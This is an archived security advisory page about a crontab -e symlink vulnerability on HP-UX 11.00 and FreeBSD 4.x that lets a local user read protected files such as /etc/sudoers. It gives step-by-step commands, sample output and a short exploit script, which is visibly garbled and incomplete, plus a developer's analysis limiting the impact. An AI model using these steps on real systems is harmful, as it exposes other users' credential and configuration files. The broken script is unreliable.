TUCoPS :: BSD :: ctab12.htm

FreeBSD crontab vulnerability



    HpUX 10.20, 11.00, FreeBSD


    Following  is  based  on  a  Hackerslab  bug_paper.   There  is  a
    vulneribility in "crontab"  which allows users  to read all  files
    without attaining root or file ownership privileges.

    The "crontab" command can't be run by any user in general however,
    users that are  registered in crontab.allow  are permitted to  run
    the command.

    Using the crontab command with the -e option (crontab -e)  excutes
    vi editor and a temporary file is created in /var/tmp/.  The owner
    of the file is a current user.

    Make a  subshell by  using !sh  command in  vi and  link the  file
    created in /var/tmp/  then exit crontab.   Then the error  message
    appears with all the file names and details.

    Example: display the contents of /tcb/files/auth/r/root

        $ id
        uid=101(dubhe) gid=101(swat)
        $uname -s -r
        HP-UX B.11.00

        $ crontab -e

        ### A file named  /var/tmp/aaaa25923 is created


        ### Make a subshell

        $ ln -sf /tcb/files/auth/r/root /var/tmp/aaaa25923
        $ exit

        ### Make symlink and return vi

        [Hit return to continue]

        ### Quit vi

        crontab: error on previous line; unexpected character found in line.
        crontab: error on previous line; unexpected character found in line.
        crontab: error on previous line; unexpected character found in line.
        crontab: error on previous line; unexpected character found in line.
        crontab: error on previous line; unexpected character found in line.
        crontab: error on previous line; unexpected character found in line.

    Here's a exploit:

    #  HP-UX 11.00 crontab
    #  Kyong-won,Cho
    #             dubhe@hackerslab.com
    #  Usage : ./crontab.sh <distfile>

    if [ -z "$1" ]

    echo "Usage : $0 <distfile>"


    cat << _EOF_ > /tmp/crontab_exp

    ln -sf $1 \$1


    chmod 755 /tmp/crontab_exp

    export EDITOR

    crontab -e 2> /tmp/crontab$$

    grep -v "error on previous line" /tmp/crontab$$

    rm -f /tmp/crontab_exp /tmp/crontab$$

    When tested on

        - 4.0-RELEASE FreeBSD 4.0-RELEASE #9
        - 4.1-RELEASE FreeBSD 4.1-RELEASE #1:

    You can read any file wich start with comment simbol (#):

        $ ls -l /etc/sudoers
        -r--------  1 root  wheel  313 24 oct 20:20 /etc/sudoers
        $ id
        uid=1002(alf) gid=1002(alf) groups=1002(alf)

        $ crontab -e

        [ ####  Make simbolik link]
        > rm /tmp/crontab.hLmjTbK417
        > ln -sf /etc/sudoers /tmp/crontab.hLmjTbK417
        > exit

        [ #### quit vi ]
        crontab: installing new crontab

        [ #### start crontab editor]

        $ crontab -e
        [#######   See in vi]
        # sudoers file.
        # This file MUST be edited with the 'visudo' command as root.
        # See the sudoers man page for the details on how to write a sudoers

        # Host alias specification

        # User alias specification

        # Cmnd alias specification

        # User privilege specification
        root    ALL=(ALL) ALL
        alf     ALL=(ALL) ALL

    If file started with no # then crontab sad

        "/tmp/crontab.GAeNMP1357":2: bad minute
         crontab: errors in crontab file, can't install

    Dec/Compaq unpatched 4.0d is vulnerable, but it was pointed out to
    that 4.0d with recommended patches is not vulnerable.  4.0g is not
    vulnerable as well.

    FreeBSD 3.3 and FreeBSD 2.2.8 seem to be vulnerable as well.

    At least on  our version of  Vixie Cron, this  description appears
    to be inaccurate on an initial  inspection.  Yes, there is a  bug,
    and a serious one, but  the syntax requirements are much  stronger
    than those that are described  above: the file must fully  conform
    to a valid crontab file  specification.  I.e., the sample  sudoers
    file  included  in  the  paper  will  not  work  in  FreeBSD as it
    violates  crontab  formatting  specifications;  this substantially
    limits  the  impact  of  this  bug  for  the purposes of acquiring
    additional privilege.   Off-hand, here  are some  things that  are
    *not* readable due to standard formatting of the files:

        - /etc/ssh/ssh_host_key
        - /etc/ssh/ssh_dsa_host_key
        - /etc/ssl/mykey.prv
        - /tmp/ssh-GbQ60456/cookies
        - /etc/master.passwd
        - /etc/spwd.db
        - /home/rwatson/.ssh/identity
        - /home/rwatson/.netscape/preferences.js
        - /home/rwatson/.pgp/secring.skr
        - /home/tkt1000

    Here are some things that are readable:

        - /var/cron/tabs/arbitraryuser
        - Files that are entirely commented using '#', optionally with blank lines
        - Binary files that start with a # and contain no linefeeds
        - Empty files

    So  in  the  situations  investigated  thus  far,  this  cannot be
    leveraged to gain additional privielge in a plain vanilla  FreeBSD
    system, as private  keying material in  the base system  typically
    requires a  tightly formatted  key storage  file that  necessarily
    precludes valid crontab file formatting.  It can be use to extract
    any keying material from crontab command lines of other users, but
    users should not be storing  stuff there anyway as generally  that
    can be extracted using  ps.  It can  be used to read  entirely #'d
    files  which  could  be  an  issue  in  some  configurations:  for
    example,   if   the   administrator   added   shared   secrets  to
    /etc/ppp/ppp.conf and then commented out the entire file.

    Tested against also a Slackware 3.0 = Vulnerable.


    For FreeBSD:


    For Debian:


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH